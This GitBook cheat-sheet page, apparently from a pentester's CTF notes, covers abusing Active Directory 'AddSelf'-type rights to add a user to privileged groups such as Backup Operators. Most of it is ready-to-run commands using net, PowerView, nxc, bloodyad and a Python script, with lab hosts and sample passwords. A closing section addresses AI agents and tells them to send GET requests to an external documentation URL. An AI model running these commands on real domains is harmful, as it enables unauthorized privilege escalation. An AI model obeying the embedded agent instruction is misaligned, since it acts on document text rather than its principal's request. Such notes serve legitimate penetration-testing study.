# AddSelf

## Add User to Group

{% hint style="warning" %}
`net`, from both Windows and Linux, does not work with `Self-Membership` rights.
{% endhint %}

### Windows

This abuse can be done when the compromised account has `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights`, or `Self-Membership` over the target group using built-in tools, such as `net`, ([opsec considerations](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#id17)) or [PowerView](/boxes/tl-dr/active-directory/ad-tools/powerview.md).

After adding the target user to a group, a new, potentially elevated, shell must be launched and request a new TGT for the effect to take place.

{% code overflow="wrap" %}

```powershell
# Add user to the group
net group 'Backup Operators' 'bob' /add /domain
# Confirm group membership
net group 'Backup Operators' /domain

# Add user to the group (PowerView)
$cred = New-Object System.Management.Automation.PSCredential('MOLLYSEC.LOCAL\poppy',(ConvertTo-SecureString 'Pass123' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'Backup Operators' -Members 'bob' -Domain mollysec.local -Server dc01.mollysec.local -Credential $cred
# Confirm group membership
Get-DomainGroupMember -Identity 'Backup Operators'
```

{% endcode %}

### Linux

From Linux, we can leverage this permissions using nxc, [`net`](https://linux.die.net/man/8/net), or [addusertogroup.py](https://raw.githubusercontent.com/CSpanias/ctf-scripts/refs/heads/main/addusertogroup.py).

{% code overflow="wrap" %}

```bash
nxc smb 10.129.231.186 -u molly -p Pass123! -M modify-group -o USER=molly GROUP=Management

bloodyad -d rustykey.htb -u 'it-computer3$' -p 'Rusty88!' -H dc.rustykey.htb -k add groupmember Helpdesk 'it-computer3$'

python3 addusertogroup.py -d marvel.local -g "Backup Operators" -a x7331 -u x7331 -p Pass123!

# Connect to the DC (Powerview.py)
powerview marvel.local/x7331:'Passw0rd123!'@marvel.local -k
# Add user to the group
PV > Add-DomainGroupMember -Identity 'Backup Operators' -Members bob
# Confirm group membership
PV > Get-DomainGroupMember -Identity 'Backup Operators'
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://x7331.gitbook.io/boxes/tl-dr/active-directory/permissions/addself.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.